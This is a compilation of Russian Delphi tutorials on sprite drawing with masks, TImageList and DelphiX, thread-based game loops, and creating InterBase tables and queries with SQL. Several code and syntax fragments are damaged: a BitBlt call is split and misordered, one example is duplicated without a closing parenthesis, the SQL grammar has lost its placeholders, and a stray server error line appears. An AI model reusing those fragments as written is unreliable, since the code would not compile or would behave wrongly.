Осталось рассмотреть зачем же нужен буфер. При выводе одного спрайта вы не почувствуете мелькания изображения, но когда их будет 100-200 это будет заметно. По этому все спрайты копируются в буфер - это Tbitmap размером с экран или окно, короче изменяемой области. Вот как окончательно будет выглядеть фрагмент программы :

...
var
  Wizard, WizardMask, Buffer: Tbitmap;
  X, Y: integer;
begin
  ...
  Wizard := Tbitmap.Create;
  Wizard.Loadfromfile('spr1.bmp');
  WizardMask := Tbitmap.Create;
  WizardMask.Loadfromfile('spr2.bmp');
  // Копируем маску в буфер BitBlt(Buffer.Canvas.Handle,X,Y,50,50,
  Buffer := Tbitmap.Create;
  WizardMask.Canvas.Handle, 0, 0, SrcPaint);
  // Копируем спрайт в буфер
  BitBlt(Buffer.Canvas.Handle, X, Y, 50, 50, Wizard.Canvas.Handle, 0, 0, SrcAnd);
  ...
  // Перемещаем буфер на форму BitBlt(Form1.Canvas.Handle,0,0,320,240,
  // Buffer.Canvas.Handle,0,0,SrcCopy);
Флаг SrcCopy означает копирование без изменения, аналогичен простому перемещению одного участка памяти в другой. Не нужно думать, что готовая маска это прошлое компьютерных игр. В любом случае, маска создается, только иногда это делается программно, а иногда заготавливается в виде отдельного файла. Какой вариант лучше, нужно смотреть по конкретному примеру.

Я не буду расписывать все параметры BitBlt, если интересно смотрите сами в Delphi Help. Ну вот и все. Напоследок картина творчества.

Статьи по Delphi (016)… Спрайт Спрайты c программной маской - Transparent Другой метод вывода спрайтов - методом программной маски. Этот способ, немного медленнее, но не требует возни с изготовлением масок. Это не значит, что маски вообще нет. Маска присутствует и создается в памяти. Для счастливых обладателей Windows NT подойдет способ, который используется в самой ОС. Это функция MaskBlt. Судя по ее названию, она позволяет выводить растры используя битовые маски.

Привиду пример на спрайтах из игры Эпоха Империй I. Наша задача, как и во всех предыдущих примерах, вывести спрайт с Transparent Color (по русски плохо звучит). В игре он черный.

Статьи по Delphi (016)… Начальный вариант спрайта Статьи по Delphi (016)… Это уже полученная маска Статьи по Delphi (016)… Вызвали MaskBLT Статьи по Delphi (016)… MaskBlt + BitBlt
var
  Sprite, Mask: TBitmap;
begin
  Sprite := TBitmap.Create;
  Sprite.LoadFromFile('G0100219.bmp');
  Mask := TBitmap.Create;
  Mask.LoadFromFile('G0100219.bmp');
  Mask.Mask(clBlack); // Создание маски
  // Преобразование в маску, после этого получится Bitmap, представленный
  // на Рис 2
  MaskBlt(Form1.Canvas.Handle, 10, 10, Sprite.Width, Sprite.Height,
    Sprite.Canvas.Handle, 0, 0, Mask.MaskHandle, 0, 0, SRCPAINT);
  // После вызова этой функции, экран выглядит как на рисунке 3.
  BitBlt(Form1.Canvas.Handle, 10, 10, Sprite.Width, Sprite.Height,
    Sprite.Canvas.Handle, 0, 0, SRCPAINT);
end;
С Windows NT все понятно, но как быть в других ОС? ( Хотя возможно, эта функция появится(-лась) в Windows 2000 и Windows Me). Использовать библиотеки сторонних разработчиков. Если они поставляются с исходным кодом, то вы можете перенести необходимые вам процедуры в собственный модуль.

Я нашел самую быструю библиотеку для работы с графикой - Media Library Component Version 1.93. В примере используется только часть ее. Нам понадобится только одна процедура:

DrawBitmapTransparent(param_1,X,Y,param_2,param_3); 
param_1 - Canvas, куда копировать X,Y - Смещение param_2 - TBitmap, что копировать. param_3 - TColor, цвет Transparent - этот цвет не будет копироваться Применение только данной библиотеки не принципиально. Практически в любом наборе VCL компонентов от сторониих производителей есть процедуры или функции для вывода Bitmap с использованием цвета прозрачности. Такие процедуры есть в библиотеке RXLib, LMD Tools, Cool Control и многих других.

Для нашего примера: DrawBitmapTransparent(Buffer.Canvas,WizardX,WizardY,Wizard,clRed); Спрайт должен выглядеть так:

Статьи по Delphi (016)… Небольшое замечание по поводу Transparent. Цвет надо выбирать такой, которого нет на самом спрайте, иначе неизбежны "дырки" в изображении. Лучше всего такой : #00FF00 - ярко зеленый, но можно использовать черный или белый.

В предыдущей главе "Работа спрайта c готовой маской" я подвесил передвижение спрайта на таймер:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  ... // тело цикла
end.
Да способ хорош, но не так быстродейственен. Есть еще пара вариантов : 1. Создать поток TThread - в примере разобран именно он. 2. "Подвесить" на IDL

Рассмотрим сначала второй способ т.к. он наименее прогрессивен:) Пишем такую процедуру:

procedure TForm1.Tic(Sender: TObject; var Done: Boolean);
begin
  ...
  // Сюда заносим, что надо исполнять.
  ...
  Done := false;
end;

.... и еще немного:

procedure TForm1.FormCreate(Sender: TObject);
 begin
  ...
  Application.OnIdle := Tic;
end;
Способ быстрее в 1-2 раз чем таймер, но не лишен недостатков. Не буду объяснять почему. Первый способ самый оптимальный для игры, как самой сложной так и простой. Реализуется он с помощью потоков. В игре их можно создать несколько - один для обработки графики, другой для AI, третий для музыки и т.д. У каждого потока свой приоритет, но высший только у одного. При работе с несколькими потоками не забывайте их "прибивать" при выходе из программы.

Сначала заводим новый класс:

TGameRead = class(TThread) // класс для таймера игры
protected
  procedure Execute; override; // Запуск
  procedure Tic; // Один тик программы
end;
// Потом переменную :
var
   ...
  T1: TGameRead;
  ...
// Описываем процедуры класса :
procedure TGameRead.execute;
 begin
  repeat
    synchronize(Tic);
  until
    Terminated
end;
procedure TGameRead.Tic;
 begin
  ...
  // Тут пишем все как в TTimer - OnTime
  ...
end;
// В событии Form1.Create инициализируем поток, и задаем приоритет.
// Расписывать все приоритеты не буду, читайте Delphi Help
// ...и не забываем убрать за собой:
...
T1 := TGameRead.Create(false); // Создаем поток
T1.Priority := TpHighest; // Ставим приоритет
...
procedure TForm1.FormDestroy(Sender: TObject);
 begin
  T1.Suspend; // Приостановим
  T1.Free; // и прибьем
end;
// Ну вот и все. Ах да, вас наверное заинтересовала строчка FPS.
// Так это тоже самое, что выдает Quake на запрос "showframerate"
// или что-то такого плана - количество кадров в секунду.
// Делается это так : заводится переменная:
var
   G: integer;
  ...
// При каждом вызове потока Tic, она увеличивается на единицу:
procedure TGameRead.Tic;
 begin
  ...
  Inc(G); // Увеличиваем значение G
end;
// Создаем таймер с интервалом 1000 - это 1 секунда, и в событии
// OnTime выводим значение G в метку. В значении G будет количество
// вызовов процедуры DoSome за 1 секунду:
procedure TForm1.Timer1Timer(Sender: TObject);
 begin
  label1.caption := 'FPS :' + IntToStr(G);
  G := 0; // Обнуляем G
end;
На моем средненьком Pentium AMD 233 c Intel 740 8M - выдает 90-100 кадров в секунду, при окне 360X360. Для начала неплохо!

P.S. У вас может возникнуть вопрос - почему передвижение спрайта за мышкой. Ответ: наименьшие затраты на писанину тест программы, при неплохом разнообразии движения.

Статьи по Delphi (016)… Использование внешних процедур для Transparent вывода спрайтов, хорошо но есть несколько минусов данного способа: во первых эти процедуры не слишком оптимизированы - их основное предназначение вывод простеньких элементов приложения, таких как иконок, картинок кнопок и т.д. Хотя это не относится к некоторым библиотекам, код которых на 90% состоит из ассемблера. во вторых хранить выводимое изображение нужно в bmp файле, хотя подойдет и любой другой, не применяющий компрессию с потерей ( Jpeg) . Если картинок более 1-й, а при нормальной анимации их набирается порядка 150-200 на один юнит, то сложно получать именно нужный участок файла. Приведу пример

В bmp файле содержатся 8 картинок - 64x64 пикселя. Нужно получить доступ к 6-й картинке ( на рисунке помечена розовым квадратом)- ее координаты будут 128,64.

Статьи по Delphi (016)… Чтобы получить следующий кадр анимации, нужно снова ко номеру кадра считать координаты : Не совсем удобно. Все эти проблемы можно решить используя TImageList. Использование TImageList Используя этот компонент можно не думать о координатах картинки, цвете прозрачности - он решает сразу две проблемы.

Разберем что нужно сделать, для вывода спрайта с использованием TImageList. Во первых нужно загрузить набор спрайтов TImageList, для этого лучше всего использовать команду:

TImageList.AddMasked(Image: TBitmap; MaskColor: TColor): Integer;

Первый параметр - это Bitmap, второй Transparent Color - цвет прозрачности. Если Вам не нужно использовать цвет прозрачности, то нужно использовать процедуру Add. После загрузки всех картинок, можно приступать к их выводу на экран. Для этого существует процедура:

procedure TImageList.Draw(Canvas: TCanvas; X, Y, Index: Integer);
Первый параметр Canvas на который будет произведена отрисовка, второй и третий координаты для вывода X и Y а четвертый индекс или порядковый номер выводимого изображения.

Для примера:

ImageList1.Draw(Canvas,0,0,6); 

Тот же самое, но с использованием BitBlt:

BitBlt(Canvas.Handle,0,0,64,64,Bitmap_Mask.Canvas.Handle,128,64,SrcPaint); - маска 
BitBlt(Canvas.Handle,0,0,64,64,Bitmap.Canvas.Handle,128,64,SrcAnd; - спрайт 
ImageList1.Draw(Canvas,0,0,6); 

Тот же самое, но с использованием BitBlt:

BitBlt(Canvas.Handle,0,0,64,64,Bitmap_Mask.Canvas.Handle,128,64,SrcPaint); - маска 
BitBlt(Canvas.Handle,0,0,64,64,Bitmap.Canvas.Handle,128,64,SrcAnd; - спрайт 

Думаю пояснять нет нужды, что использовать TImageList лучше, и проще. Пример работы с TImageList описан в файле. Там показана анимация персонажа из игры WarCraft и Warlord III. Я так и не разобрался как работает механизм отрисовки в TImageList. Мои раскопки привели к такой функции :

function ImageList_Draw(ImageList: HImageList; Index: Integer; Dest: HDC;
  X, Y: Integer; Style: UINT): Bool; stdcall;

И.

function ImageList_DrawEx(ImageList: HImageList; Index: Integer; Dest: HDC;
  X, Y, DX, DY: Integer; Bk, Fg: TColorRef;
  Style: Cardinal): Bool; stdcall; 
HImageList - Handle на TImageList. Так как вызывается экспортируемая процедура, находящаяся в библиотеке Comctl32.dll то остается не понятным, какие алгоритмы используются при выводе изображения. Могу только сказать, что при добавлении нового изображения, добавляется как изображение так и маска.

Я заинтересовался данным вопросом и продолжал копать стандартные библиотеки Windows и компоненты. Возможно информация по данным вопросам содержится во многочисленных SDK, выпускаемых Microsoft. В компоненте TFastDIB я наткнулся на процедуру Draw:

procedure TFastDIB.MaskDraw(fDC,x,y:Integer;c:TFColor); 
begin 
  TransBlt(fDC,x,y,Width,Height,hDC,0,0,Width,Height,PDWord(@c)^); 
end; 

Естественно меня заинтересовала процедура TransBlt и вот что я нашел:

function TransBlt(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11:DWord):BOOL; stdcall; 
... 
function CreateDIB; external 'gdi32.dll' name 'CreateDIBSection'; 
function TransBlt; external 'msimg32.dll' name 'TransparentBlt'; 
function AlphaBlt; external 'msimg32.dll' name 'AlphaBlend'; 

Мне захотелось посмотреть, а что еще может библиотека 'msimg32.dll' и вот полный список:

AlphaBlend 
GradientFill 
TransparentBlt 
DllInitialize 
vSetDdrawflag 
Все, хватит, а то некоторые читатели и так ничего не поняли. Но для интересующихся скажу - не все процедуры и функции описаны в Delphi, многое не документировано. Использование DirectX Чем плохи рассмотренные выше методы вывода спрайтов - они медленные. Хочу подчеркнуть, что для каждой программы нужно выбирать свои методы написания. Конкретное задание требует своих средств исполнения. То что Microsoft написал библиотеку Direct X не значит что тут же нужно писать всю графику используя ее. Приведу пример. Самая популярная игра для Windows - Quake II, Warcraft, Diablo - нет САПЕР и ПАСЬЯНС. Можете не верить, но это факт. В первую категорию играют ограниченный контингент людей в последнюю играли ВСЕ. Я это говорю к тому, что если вы пишите графическое приложение, то нужно ориентироваться на его потребности и выбирать соответствующие технологию зависимости от них. Какие это потребности: необходимость вывода большого количества часто сменяющихся изображений большой объем графической информации аппаратная поддержка максимальное быстродействие Используя Direct X можно получит все вышеперечисленное. Набор этих библиотек, изначально разрабатывался как средство для работы с графикой. Что было, когда писали под DOS: строили в участке памяти ( back buffer ) какое то изображение или копировали туда спрайты, а потом перемещали этот back buffer в область "экранной" памяти. Сразу отрисовывался весь экран. С приходом Windows, переместить участок памяти в экранную область не возможно. Приходится использовать Canvas, Handle. DirectX позволяет решить все эти проблемы. Вы можете подготавливать изображение на так называемой поверхности, и потом FLIP и вся поверхность становится видимой - копируется в экранную область видеопамяти. Должен заметить, что алгоритм работы ничуть не меняется. С появлением DirectX появились и аппаратные поддержки таких необходимых вещей как: Trancparent Color и Bit blitting. Термин бит-блиттинг означает процесс перемещения группы битов (образа) из одного места экрана в другое или памяти. В играх на ПК нас интересует перемещение образа из области хранения вне экрана в область видеобуфера. Кто интересуется аппаратными возможностями своей видео карты, то их можно узнать достав Microsoft DirectX CPL. В ней можно просмотреть, какие функции в видео карте реализуются аппаратно, а какие програмно. Итак процесс работы таков, загружаете спрайты на поверхность (ISurface) затем нужно вызвать процедуру BLT или BLTFAST, потом поменять буферную и видимую поверхность командой FLIP и все.

В начале раздела я написал Direct X, но я несколько обманул Вас. Я расскажу как выводить спрайты с помощью Direct X, но с использованием набора VCL компонентов DelphiX . Я это делаю по той простой причине, что если я напишу пример используя стандартные модули DirectX то их некоторые не поймут, отчаяться и бросят программировать вообще :) Согласитесь не все сразу поймут, что делает данная процедура, хотя она всего лишь меняет поверхности.

var
  hRet: HRESULT;
begin
  Result := False;
  while True do
  begin
    hRet := FDDSPrimary.Flip(nil, 0);
    if hRet = DD_OK then
      Break
    else
      if hRet = DDERR_SURFACELOST then
      begin
        hRet := RestoreAll;
        if hRet <> DD_OK then
          Exit;
      end
      else if hRet <> DDERR_WASSTILLDRAWING then
        Exit;
  end;
  Result := True;
end;
По этому я и решил использовать DelphiX. Писать с помошью него очень просто. Нам потребуется всего два компонента. Первый TDXDraw - если объяснить коротко, то это аналог TCanvas. Еще один компонент это TDXImageList - прямой аналог TImageList, единственно все элементы являются TDIB и не содержат ни каких масок.

Что нужно сделать чтобы успешно создать и анимировать спрайт. Как и с TImageList нужно загрузить BMP файл в элемент TDXImageList. Элемент TImageList предварительно нужно создать в программе или создать из Object Inspector.

DXImageList1.Items[0].picture.LoadFromFile('golem_start.bmp');
// Для вывода нужно использовать процедуру: 
DXImageList1.Items[0].draw(DXDraw1.Surface,0,0,6); 

Вот и все. Прямая аналогия с TImageList ... очень удобно переносить код.

Статьи по Delphi (016)…

Список ссылок:

Адрес автора: mirovodin@mail.ru Исходный код примера с готовыми масками Исходный код примера с програмными масками Исходный код примера c использованием DirectX Библиотека Media Library Component Version 1.93 Библиотека DelphiX Библиотека FastDib / есть процедуры TransparentDraw Пример работы со спрайтами : перемещение, создание, уничтожение ( смерть юнита ), перемещение в заданную точку, атака противника... Спрайты взяты из игры Diablo. Для компиляции потребуется DelphiX. Статьи по Delphi (016)…

Создание таблиц с помощью SQL-запросов.

Автор: Павел

Содержание

Обзор Создание таблиц с помощью SQL Заключение Обзор На данном уроке мы познакомимся еще с одной возможностью создания таблиц - через посылку SQL-запросов. Как Вы, наверное, могли заметить на предыдущем уроке, Database Desktop не обладает всеми возможностями по управлению SQL-серверными базами данных. Поэтому с помощью Database Desktop удобно создавать или локальные базы данных или только простейшие SQL-серверные базы данных, состоящие из небольшого числа таблиц, не очень сильно связанных друг с другом. Если же Вам необходимо создать базу данных, состоящую из большого числа таблиц, имеющих сложные взаимосвязи, можно воспользоваться языком SQL (вообще говоря, для этих целей лучше всего использовать специализированные CASE-средства, которые позволяют в интерактивном режиме сгенерировать всю структуру базы данных и сформировать все связи; описание двух наиболее удачных CASE-средств - System Architect и S-Designor - дано в дополнительных уроках). При этом можно воспользоваться компонентом Query в Delphi, каждый раз посылая по одному SQL-запросу, а можно записать всю последовательность SQL-предложений в один так называемый скрипт и послать его на выполнение, используя, например, Windows Interactive SQL (WISQL.EXE) - интерактивное средство посылки SQL-запросов к InterBase (в том числе и локальному InterBase), входящее в поставку Delphi. Конечно, для этого нужно хорошо знать язык SQL, но, уверяю Вас, сложного в этом ничего нет! Конкретные реализации языка SQL незначительно отличаются в различных SQL-серверах, однако базовые предложения остаются одинаковыми для всех реализаций. Практика показывает, что если нет необходимости создавать таблицы во время выполнения программы, то лучше воспользоваться WISQL. Создание таблиц с помощью SQL Если Вы хотите воспользоваться компонентом TQuery, сначала поместите его на форму. После этого настройте свойство DatabaseName на нужный Вам алиас (если базы данных еще не существует, удобней создать ее в WISQL командой File|Create Database..., а затем уже настроить на нее новый алиас). После этого можно ввести SQL-предложение в свойство SQL. Для выполнения запроса, изменяющего структуру, вставляющего или обновляющего данные на сервере, нужно вызвать метод ExecSQL компонента TQuery. Для выполнения запроса, получающего данные с сервера (т.е. запроса, в котором основным является оператор SELECT), нужно вызвать метод Open компонента TQuery. Ёто связано с тем, что BDE при посылке запроса типа SELECT открывает так называемый курсор, с помощью которого осуществляется навигация по выборке данных (подробней об этом см. в уроке, посвященном TQuery). Как показывает опыт, проще воспользоваться утилитой WISQL. Для этого в WISQL выберите команду File|Run an ISQL Script... и выберите файл, в котором записан ваш скрипт, создающий базу данных. После нажатия кнопки УОКФ ваш скрипт будет выполнен, и в нижнее окно будет выведен протокол его работы.

Приведем упрощенный синтаксис SQL-предложения для создания таблицы на SQL-сервере InterBase (более полный синтаксис можно посмотреть в online-справочнике по SQL, поставляемом с локальным InterBase):

CREATE TABLE table
( [,  |  ...]);
где table - имя создаваемой таблицы, - описание поля, - описание ограничений и/или ключей (квадратные скобки [] означают необязательность, вертикальная черта | означает УилиФ). Описание поля состоит из наименования поля и типа поля (или домена - см. урок 9), а также дополнительных ограничений, накладываемых на поле:
 = col {datatype | COMPUTED BY () | domain}
[DEFAULT {literal | NULL | USER}]
[NOT NULL] []
[COLLATE collation]

Здесь:

col - имя поля; datatype - любой правильный тип SQL-сервера (для InterBase такими типами являются - см. урок 11 - SMALLINT, INTEGER, FLOAT, DOUBLE PRECISION, DECIMAL, NUMERIC, DATE, CHAR, VARCHAR, NCHAR, BLOB), символьные типы могут иметь CHARACTER SET - набор символов, определяющий язык страны. Для русского языка следует задать набор символов WIN1251; COMPUTED BY () - определение вычисляемого на уровне сервера поля, где - правильное SQL-выражение, возвращающее единственное значение; domain - имя домена (обобщенного типа), определенного в базе данных; DEFAULT - конструкция, определяющая значение поля по умолчанию; NOT NULL - конструкция, указывающая на то, что поле не может быть пустым; COLLATE - предложение, определяющее порядок сортировки для выбранного набора символов (для поля типа BLOB не применяется). Русский набор символов WIN1251 имеет 2 порядка сортировки - WIN1251 и PXW_CYRL. Для правильной сортировки, включающей большие буквы, следует выбрать порядок PXW_CYRL. Описание ограничений и/или ключей включает в себя предложения CONSTRAINT или предложения, описывающие уникальные поля, первичные, внешние ключи, а также ограничения CHECK (такие конструкции могут определяться как на уровне поля, так и на уровне таблицы в целом, если они затрагивают несколько полей):
 = [CONSTRAINT constraint ] 
[an error occurred while processing this directive] 

Здесь.

 = {{PRIMARY KEY | UNIQUE} (col[,col...]) | 
FOREIGN KEY (col [, col ...]) REFERENCES other_table 
| CHECK ()}
 = 
{  { | ()} 
|  [NOT] BETWEEN  AND  
|  [NOT] LIKE  [ESCAPE ] 
|  [NOT] IN ( [,  ...] | 
 = {
col [] |  |  | 
| NULL | USER | RDB$DB_KEY } [COLLATE collation]
 
 = num | "string" | charsetname "string"
 = {
COUNT (* | [ALL]  | DISTINCT )
| SUM ([ALL]  | DISTINCT )
| AVG ([ALL]  | DISTINCT )
| MAX ([ALL]  | DISTINCT )
| MIN ([ALL]  | DISTINCT )
| CAST ( AS )
| UPPER ()
| GEN_ID (generator, )
}
 = {= |  | = | ! | <> | !=}
 = выражение SELECT по одному полю, 
которое возвращает в точности одно значение.
Приведенного неполного синтаксиса достаточно для большинства задач, решаемых в различных предметных областях. Проще всего синтаксис SQL можно понять из примеров. Поэтому мы приведем несколько примеров создания таблиц с помощью SQL. Пример A: Простая таблица с конструкцией PRIMARY KEY на уровне поля
CREATE TABLE REGION (
REGION REGION_NAME NOT NULL PRIMARY KEY,
POPULATION INTEGER NOT NULL);
Предполагается, что в базе данных определен домен REGION_NAME, например, следующим образом:
 
CREATE DOMAIN REGION_NAME 
AS VARCHAR(40) CHARACTER SET WIN1251 COLLATE PXW_CYRL;
Пример B: Таблица с предложением UNIQUE как на уровне поля, так и на уровне таблицы
CREATE TABLE GOODS (
MODEL SMALLINT NOT NULL UNIQUE,
NAME CHAR(10) NOT NULL, 
ITEMID INTEGER NOT NULL, CONSTRAINT MOD_UNIQUE 
UNIQUE (NAME, ITEMID));
Пример C: Таблица с определением первичного ключа, внешнего ключа и конструкции CHECK, а также символьных массивов CREATE TABLE JOB ( JOB_CODE JOBCODE NOT NULL, JOB_GRADE JOBGRADE NOT NULL, JOB_REGION REGION_NAME NOT NULL, JOB_TITLE VARCHAR(25) CHARACTER SET WIN1251 COLLATE PXW_CYRL NOT NULL, MIN_SALARY SALARY NOT NULL, MAX_SALARY SALARY NOT NULL, JOB_REQ BLOB(400,1) CHARACTER SET WIN1251, LANGUAGE_REQ VARCHAR(15) [5], PRIMARY KEY (JOB_CODE, JOB_GRADE, JOB_REGION), FOREIGN KEY (JOB_REGION) REFERENCES REGION (REGION), CHECK (MIN_SALARY Данный пример создает таблицу, содержащую информацию о работах (профессиях). Типы полей основаны на доменах JOBCODE, JOBGRADE, REGION_NAME и SALARY. Определен массив LANGUAGE_REQ, состоящий из 5 элементов типа VARCHAR(15). Кроме того, введено поле JOB_REQ, имеющее тип BLOB с подтипом 1 (текстовый блоб) и размером сегмента 400. Для таблицы определен первичный ключ, состоящий из трех полей JOB_CODE, JOB_GRADE и JOB_REGION. Далее, определен внешний ключ (JOB_REGION), ссылающийся на поле REGION таблицы REGION. И, наконец, включено предложение CHECK, позволяющее производить проверку соотношения для двух полей и вызывать исключительное состояние при нарушении такого соотношения. Пример D: Таблица с вычисляемым полем
CREATE TABLE SALARY_HISTORY (
EMP_NO EMPNO NOT NULL,
CHANGE_DATE DATE DEFAULT "NOW" NOT NULL,
UPDATER_ID VARCHAR(20) NOT NULL,
OLD_SALARY SALARY NOT NULL,
PERC_CHANGE DOUBLE PRECISION DEFAULT 0 NOT NULL
CHECK (PERC_CHANGE BETWEEN -50 AND 50),
NEW_SALARY COMPUTED BY
(OLD_SALARY + OLD_SALARY * PERC_CHANGE / 100),
PRIMARY KEY (EMP_NO, CHANGE_DATE, UPDATER_ID),
FOREIGN KEY (EMP_NO) REFERENCES EMPLOYEE (EMP_NO));
Данный пример создает таблицу, где среди других полей имеется вычисляемое (физически не существующее) поле NEW_SALARY, значение которого вычисляется по значениям двух других полей (OLD_SALARY и PERC_CHANGE). На диске приведен пример скрипта, создающего базу данных, осуществляющую ведение контактов между людьми и организациями. Заключение

Итак, мы рассмотрели, как создавать таблицы с помощью SQL-выражений. Ётот процесс, хотя и не столь удобен, как интерактивное средство Database Desktop, однако обладает наиболее гибкими возможностями по настройке Вашей системы и управления ее связями.

Функции дат в SQL.

Автор: Steve Koterski Кто-нибудь знает как "вытащить" месяц или год из datetime-поля с помощью SQL? Я знаю, что QBE этого не может. SQL в состоянии это сделать? Как насчет функции EXTRACT?
  SELECT SALEDATE,   
    EXTRACT(DAY FROM SALEDATE) AS DD,  
    EXTRACT(MONTH FROM SALEDATE) AS MM,  
    EXTRACT(YEAR FROM SALEDATE) AS YY  
  FROM ORDERS

SQL и расширенные символы.

Я использую поле Tmemo. Это классно работает до тех пор, пока я не использую расширенные символы (с кодом больше 127). При использовании этих символов текст-то я послать могу, но при последующем поиске записи я получаю такое сообщение об ошибке: "General SQL error : Cannot transliterate character between character sets." (Общая ошибка SQL: не могу сопоставить символ с имеющимися наборами символов). Я понял, в чем ваша ошибка: вы должны установить встроенный набор символов LIBS в DEFAULT CHARACTER SET ISO8859_1. Когда вы впоследствии создадите таблицу, она будет использовать данный набор символов для создания alfanumeric-данных и Blob-полей. Псевдоним базы данных должен быть установлен на драйвер языка BLLT1FR. После того, как я сделал это и пересоздал базу данных, все заработало как надо.

Может быть и не стоило публиковать эту информацию, поскольку многие пользователи пользуются локальными драйверами, наборами символов и новой версией SQL, но я посчитал ее ценной, поскольку как раз эта инфорамция в описании и отсутствует. Она присутствует только в LIBS "readme"-файле.

SQL в Delphi.

Автор: OAmiry (Borland) Delphi поддерживает статический и динамический SQL. В Delphi имеется объект TQuery, который используется для хранения и выполнения SQL-запросов. Свойство TQuery SQL содержит текст SQL-запроса, выполняемых TQuery. Данное свойство имеет тип TStrings, означающее, что оно может хранить в списке целую серию строк. Список ведет себя подобно массиву, но в действительности это специальный класс с уникальными возможностями. Компонент TQuery позволяет выполнять два типа SQL-запросов: Статические SQL-запросы Динамические SQL-запросы Статический SQL-запрос устанавливается во время проектирования и не содержит никаких параметров или переменных. Например, следующая строка является статическим SQL-запросом: SELECT * FROM CUSTOMER WHERE CUST_NO = 1234 Динамический SQL-запрос, или, как его еще называют, параметрический запрос, включает в себя параметры для колонок или имени таблицы. Например, следующая строка является динамическим SQL-запросом: SELECT * FROM CUSTOMER WHERE CUST_NO = :Number Переменная Number, указанная после двоеточия - параметр, который вы назначаете во время выполнения приложения. Во время выполнения запроса параметр может изменяться. Delphi-приложения могут использовать SQL для получения доступа к следующим БД: Таблицы Paradox или dBASE, использующие локальный SQL. Допустимый синтаксис является подмножеством стандарта ANSI-standard SQL и включает основные SELECT, INSERT, UPDATE, и DELETE запросы. Для получения дополнительной информации о локальном синтаксисе SQL обратитесь к справке Using Local SQL. Базы данных Local InterBase Server, включая Local InterBase Server. Допускаются любые запросы InterBase SQL. Для получения дополнительной информации о синтаксисе и ограничениях обратитесь к электронной справке SQL Statement and Function Reference. Базы данных на удаленных серверах баз данных (только в версии Delphi Client/server). По-видимому вы установили подходящий SQL Link. В SQL серверах допускаются любые стандартные SQL запросы. Для получения дополнительной информации о синтаксисе и ограничениях обратитесь к электронной справке вашего сервера. Delphi также поддерживает разнородные запросы к более чем одному серверу или типу таблицы (для примера, данные из таблицы Oracle и таблицы Paradox). Для получения дополнительной информации обратитесь к электронной справке Creating Heterogeneous Queries (создание гетерогенных запросов). Обработка транзаций в приложениях: Delphi приложения могут управлять транзакциями следующими способами: Неявно, автоматически стартуя и запуская транзакции, когда приложение пытается передать данные (Post data). Явно, следующими способами в зависимости от уровня управления, требующемуся вашему приложению: Методы TDatabase StartTransaction, Commit, и Rollback. Это рекомендуемый метод. Passthrough (транзитная пересылка) SQL в компоненте TQuery. Ваше приложение должно использовать специфически-серверные SQL запросы управления транзакциями, и вы должны понять как управляются транзакции вашим сервером.

SQL-менеджер Хортица.

Автор: Рачек Е.А. WEB-сайт: http://amigonet.narod.ru Менеджер предназначен для управления данными при помощи SQL-запросов и операторов с упрощенным синтаксисом. С его помощью Вы сможете делать выборки из одной или нескольких таблиц, записывать результаты в новые таблицы или добавлять в существующие, легко и быстро создавать из выборки простые табличные отчеты, отчеты в виде «шахматок», сложные отчеты на основе результатов нескольких SQL-запросов и промежуточных расчетов, передавать их в MS Word, сохранять в текстовых файлах, и многое другое. Встроенный язык с синтаксисом Pascal позволит создавать вычисляемые поля, определять параметры для SQL-запросов, производить различные промежуточные расчеты. Дополнительно менеджер позволяет определять формы ввода, для занесения пользователем исходных данных. Разработанные и отлаженные процедуры (скрипты) можно в дальнейшем использовать под управлением менеджера или интегрировать в Delphi (C++Builder) проекты при помощи специального компонента. Для работы со скриптами менеджер использует многооконный текстовый редактор с удобной помощью (включающей примеры), подсветкой синтаксиса и рядом дополнительных возможностей. Менеджер работает с базами данных форматов Paradox и Dbase. Также его можно использовать с любыми другими базами данных через BDE (в т.ч. Access). Для его использования необходим компьютер с установленным BDE, версии не ниже 3.0 . Работа с менеджером Менеджер работает с процедурами, представляющими собой текстовые документы (скрипты). Для работы с документами в программу встроен специальный текстовый редактор, позволяющий одновременно работать с несколькими процедурами. Текущей всегда является одна процедура, окно которой в настоящий момент активно в редакторе. Создать новую процедуру, сохранить, переименовать, удалить, закрыть окно можно при помощи меню Файл. Для выполнения процедуры применяется пункт меню Выполнить (удобнее «горячей клавишей» F9). Открыть существующую процедуру можно при помощи меню Файл->Открыть или горячей клавишей ctrl+O (O латинское от слова Open). Для подсветки синтаксиса следует использовать Редактор ->Подсветка синтаксиса, или Ctrl+F1.

Простой скрипт

select *
from zsEmpl
Данный скрипт выводит на экран список сотрудников. Простым называется скрипт, состоящий из одного SQL-запроса и не содержащий макрокоманд. Если в скрипте имеются макрокоманды, то вывода на экран не происходит.

ShowGrid

select tn,f,DataRogd
from zsEmpl
@@ShowGrid
Если в запросе имеются дополнительные макрокоманды, то для вывода результатов запроса на экран необходимо использовать команду ShowGrid. Возможно использование нескольких таких команд в одном запросе.

Alias

@@Alias=dbDemos
select *
from clients
@@ShowGrid
Обычно SQL-запрос работает с таблицами, находящимися в текущей папке. Иногда возникает необходимость работать с таблицами, находящимися в другой папке. В специальной терминологии папки, содержащие таблицы, называются базами данных и имеют уникальное имя. Сделать текущей одну из определенных в системе баз данных можно при помощи команды Alias. Если на Вашем компьютере установлен один из продуктов Borland вместе с примерами, то приведенный скрипт выводит содержимое таблицы Clients.dbf.

Param

@@Param sumaMin:f=100
select tn,f,knu,vo.name as NameKnu,god,mes,suma
from zaSal sl
left join zsEmpl se
  on se.tn=sl.tn
left join zsVidOpl vo
  on vo.knu=sl.knu
where suma>:SumaMin
order by f
@@ShowGrid

Для определения параметров, передаваемых SQL-запросу, служит команда Param. Синтаксис команды следующий:

@@Param ParamName:ParamType=ParamValue
ParamName-имя параметра
ParamType-буква, определяющая тип параметра:
i-целое число (integer)
f-число с плавающей точкой (float)
d-дата (data)
a-строка (alpha)
ParamValue-значение, присваиваемое параметру.
Razdel Команда предназначена для удобства навигации по программе. После команды следует указывать название раздела. По нажатию клавиши Alt+R на экране появляется список разделов, к началу любого из которых легко перейти посредством выбора.

SaveDsToFile, AppendDsToFile, Razdelitel.

